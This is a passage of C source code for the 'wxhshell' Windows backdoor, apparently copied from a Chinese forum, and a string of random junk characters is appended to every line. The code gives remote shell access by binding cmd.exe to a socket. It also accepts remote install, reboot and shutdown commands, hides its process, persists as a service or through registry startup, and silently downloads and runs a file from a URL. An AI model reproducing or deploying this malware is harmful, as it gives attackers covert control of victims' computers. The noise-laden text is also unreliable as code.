  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "={L+di:M  
  } u+2Lm*M  
  else { <xlm K(  
Mm#[&j[Y  
    switch(cmd[0]) { nwf7M#3d  
  4#:\?HAu!  
  // 帮助 ~NNv>5 t5  
  case '?': {  %+wF"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hhmGv9P  
    break; 2-v\3voN  
  } RH1uVdJ1  
  // 安装 7Fl-(Nv`  
  case 'i': { " H1:0p  
    if(Install()) W-D[z#)/Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kG^dqqn6  
    else ' msmXX@q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >IY,be6>P  
    break; yr{B5z,  
    } bx>i6 R2  
  // 卸载 HmV /> 9  
  case 'r': { \ e,?rH  
    if(Uninstall()) 5@P-g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]0/p 7N14  
    else ]MAT2$"le  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A*'V+(  
    break; nbxR"UH  
    } B*,?C]0{  
  // 显示 wxhshell 所在路径 c3k|G<C2  
  case 'p': { NHkL24ve  
    char svExeFile[MAX_PATH]; 1q]c7"  
    strcpy(svExeFile,"\n\r"); AuCWQ~  
      strcat(svExeFile,ExeFile); FT/amCRyT  
        send(wsh,svExeFile,strlen(svExeFile),0); HC7JMj  
    break; cOku1 g8  
    } 70Ka!  
  // 重启 3ATjsOL  
  case 'b': { `|<+  ?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (~()RkT  
    if(Boot(REBOOT)) x~/+RF XF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .wc = ]  
    else { ^\wl2  
    closesocket(wsh); inF6M8 A1  
    ExitThread(0); n}J^6:1  
    } SxMj,u%X/  
    break; o6|-=FcvC  
    } I]uhi{\C  
  // 关机 @2e2^8X7f  
  case 'd': { Pp_V5,i\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Nt3Z >d  
    if(Boot(SHUTDOWN)) \9/1L ?@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8#f$rs(}  
    else { ax@H"d&  
    closesocket(wsh); 7co`Zw4}g  
    ExitThread(0); d^84jf.U  
    } OD+5q(!"a  
    break; P(h5=0`*PR  
    } 2p:r`THvS5  
  // 获取shell L2|aHI1'l  
  case 's': { 6^YJ]w  
    CmdShell(wsh); & _K*kI:  
    closesocket(wsh); ]d'^Xs  
    ExitThread(0); K/Y Agg  
    break; BUC,M:J+H  
  } tWD|qg_  
  // 退出 C6@t  
  case 'x': { 'IQsve7cI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xb$yu.c  
    CloseIt(wsh); yFM>T\@  
    break; OVswt  
    } dZ2`{@AYY  
  // 离开 9 P"iuU  
  case 'q': { Oif,|:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vxh.<b6&'  
    closesocket(wsh); [Ox(.  
    WSACleanup(); Lko`F$5X  
    exit(1); h&'=F)5  
    break; 1D{#rA.X  
        } -M61 Mw1  
  } LprM;Q_  
  } 0kLEBoOh  
vA-PR&  
  // 提示信息 n Ga1a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y}.Ystem  
} QN G&  
  } 3Gd0E;3sk~  
FH\CK  
  return; . U/k<v<)6  
} aRwnRii  
nj2gs,k  
// shell模块句柄 ./w{L"E  
int CmdShell(SOCKET sock) R6@uM<  
{ ^:DyT@hQB5  
STARTUPINFO si; s4t0f_vj`  
ZeroMemory(&si,sizeof(si)); E`AYee%l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g6euXI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _D-Riu>#J  
PROCESS_INFORMATION ProcessInfo; oI@ 9}*  
char cmdline[]="cmd"; 5"=:#zN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E`xU m9F  
  return 0; r_2b tpL^  
} Y'N'hRD  
7rIlTrG  
// 自身启动模式 nW5K[/1D  
int StartFromService(void) ]Oso#GYD  
{ > saI+u'o  
typedef struct GS%b=kc  
{ dVGbe07  
  DWORD ExitStatus; A3s57.Z]|  
  DWORD PebBaseAddress; /77z\[CeYH  
  DWORD AffinityMask; #x~_`>mDN  
  DWORD BasePriority;  _^T}_  
  ULONG UniqueProcessId; yGEb7I$h  
  ULONG InheritedFromUniqueProcessId; v2J0u:#,  
}   PROCESS_BASIC_INFORMATION; Q!$IQJ]|Y  
D'L{wm  
PROCNTQSIP NtQueryInformationProcess; \ X$)vK  
-P#nT 2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;.s: X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t)I0lnbs  
"DjU:*'  
  HANDLE             hProcess; =Ahw%`/&}]  
  PROCESS_BASIC_INFORMATION pbi; r~oSP^e'  
afm_Rrg[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "{( [!  
  if(NULL == hInst ) return 0; ( V4G<-jG  
O5-;I,)H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (,LL[&;:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'F5)ACA%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  :]c=pH  
F<r4CHfh;  
  if (!NtQueryInformationProcess) return 0; ;r!\-]5$  
0w3b~RJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0&$xX!]  
  if(!hProcess) return 0; Gvn: c/m;  
=|0/Ynfe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Taasi` k  
Mi74Xl i  
  CloseHandle(hProcess); QymD-A"P  
Hsl{rN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ragSy8M  
if(hProcess==NULL) return 0; jo0Pd_W8&  
CG9ba |  
HMODULE hMod; 3!Bj{;A  
char procName[255]; xOIg|2^8  
unsigned long cbNeeded; BKA]G)G7u!  
XGIpUz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _?b;0{93u  
$4Y&j}R  
  CloseHandle(hProcess); Ab g$W/(|  
W5/};K\.  
if(strstr(procName,"services")) return 1; // 以服务启动 evOb  
7@P656{  
  return 0; // 注册表启动 RpN <=  
} Qa?aL  
e\.HWV]I  
// 主模块 };p~A-E=  
int StartWxhshell(LPSTR lpCmdLine) Gl>E[iO  
{ }ecs Gw  
  SOCKET wsl; (1 yGg==W.  
BOOL val=TRUE; %#9P?COs&W  
  int port=0; .,mM%w,^O  
  struct sockaddr_in door; ^zeL+(@r/  
A& =pw#  
  if(wscfg.ws_autoins) Install(); stXda@y<p  
o<J5!  
port=atoi(lpCmdLine); [ &daG:  
o2}N=|&  
if(port<=0) port=wscfg.ws_port; sR! +d:LJ4  
Tc_do"uU  
  WSADATA data; 6ZksqdP8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pqq?*\W&[v  
\HG$V>2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s##Ay{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^ LbGH<#J  
  door.sin_family = AF_INET; ohplj`X[21  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6Ahr_{  
  door.sin_port = htons(port); 7TdQRB  
0||F`24  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b,Lw7MY}[  
closesocket(wsl); kW(Kh0x  
return 1; k<O y%+C  
} %M6 c0d[9-  
C8MWIX}  
  if(listen(wsl,2) == INVALID_SOCKET) { jGiw96,Y  
closesocket(wsl); 4:`[qE3  
return 1; ?cxr%`E  
} -yA3 RP  
  Wxhshell(wsl); /.v_N%*-v  
  WSACleanup(); :rL?1"   
uk6g s)qxC  
return 0; 0BFz7  
! tr9(d  
} ^S=cNSpC  
w"6aha*%7  
// 以NT服务方式启动 l $w/Fz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yM|g|;U  
{ qmID-t"  
DWORD   status = 0; s7M}NA 0  
  DWORD   specificError = 0xfffffff; ^$}/|d(  
|h D~6a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cIZ[[(Db  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]b )!YPo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D O%Pwfkd  
  serviceStatus.dwWin32ExitCode     = 0; , QA9k$`  
  serviceStatus.dwServiceSpecificExitCode = 0; Y"oDFo,  
  serviceStatus.dwCheckPoint       = 0; 4y>(RrVG  
  serviceStatus.dwWaitHint       = 0; !l"tI#?6W%  
f?5A"-NS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TZBVU&,{Z  
  if (hServiceStatusHandle==0) return; GoL|iNW`  
YM8rJ-  
status = GetLastError(); 6lZGcRO  
  if (status!=NO_ERROR) WP!il(Gr  
{ F-tFet  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N-Z^G<[q.  
    serviceStatus.dwCheckPoint       = 0; ,\}k~ U99  
    serviceStatus.dwWaitHint       = 0; l# BZzJ?~  
    serviceStatus.dwWin32ExitCode     = status; nj"m^PmWo3  
    serviceStatus.dwServiceSpecificExitCode = specificError; !"%S#nrL$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vlAy!:CV  
    return; `Jqf**t  
  } F;W'  
kw#X]`c3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AbG&9=Ks  
  serviceStatus.dwCheckPoint       = 0; D@*|24y  
  serviceStatus.dwWaitHint       = 0; [tz u;/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U\?+s2I)v  
} ,0,Oe=d  
F Nlx1U[  
// 处理NT服务事件,比如:启动、停止 yeNvQG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g<a<{|  
{ j^{b^!4~}  
switch(fdwControl) 01o [!nT  
{ FXxN>\76.  
case SERVICE_CONTROL_STOP: UtPwWB_YV  
  serviceStatus.dwWin32ExitCode = 0; L, #Byao  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S<9gyW  
  serviceStatus.dwCheckPoint   = 0; ,A?{~?u.  
  serviceStatus.dwWaitHint     = 0; @x*.5:[  
  { :^5>wDu{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b( 1 :w"wD  
  } d96fjj~  
  return; S,VyUe4P4  
case SERVICE_CONTROL_PAUSE: YLE/w@*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IOS^|2:,  
  break; G-ZhGbAI7  
case SERVICE_CONTROL_CONTINUE: e]Puv)S>{8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x?gQ\ 0S<  
  break; K,]woNxaw  
case SERVICE_CONTROL_INTERROGATE: r\B"?oqC  
  break; y%FYXwR{  
}; gz#+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =~ '^;D  
} zNwc((  
!9PX\Xbn  
// 标准应用程序主函数 *iYMX[$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vU7&'ca  
{ EFeAr@nj  
T"IW Jpc  
// 获取操作系统版本 88#N~j~P  
OsIsNt=GetOsVer(); zv,\@Z9.($  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /RMer Xj  
PQi }Evxa  
  // 从命令行安装 9V.+U7\w  
  if(strpbrk(lpCmdLine,"iI")) Install(); /K[]B]1NE  
^SgN(-QH  
  // 下载执行文件 |Cu1uwy  
if(wscfg.ws_downexe) { !*9FKDB{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vWuyft*  
  WinExec(wscfg.ws_filenam,SW_HIDE); y]w )`}Ax  
} r<v_CFJ  
o;E (Kj  
if(!OsIsNt) { =m7CJc  
// 如果时win9x,隐藏进程并且设置为注册表启动 uRFNfX(*  
HideProc(); k~& o  
StartWxhshell(lpCmdLine); *XHj)DC;  
} $@68=  
else /8:gVXZi  
  if(StartFromService()) }=TqJy1  
  // 以服务方式启动 9Il'E6 J  
  StartServiceCtrlDispatcher(DispatchTable); =#jTo|~u4o  
else [+_\z',u  
  // 普通方式启动 } mgVC  
  StartWxhshell(lpCmdLine); i:;$oT  
a!&bc8J7  
return 0; ?~{r f:Y  
}
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只看该作者 1 发表于: 2006-10-10
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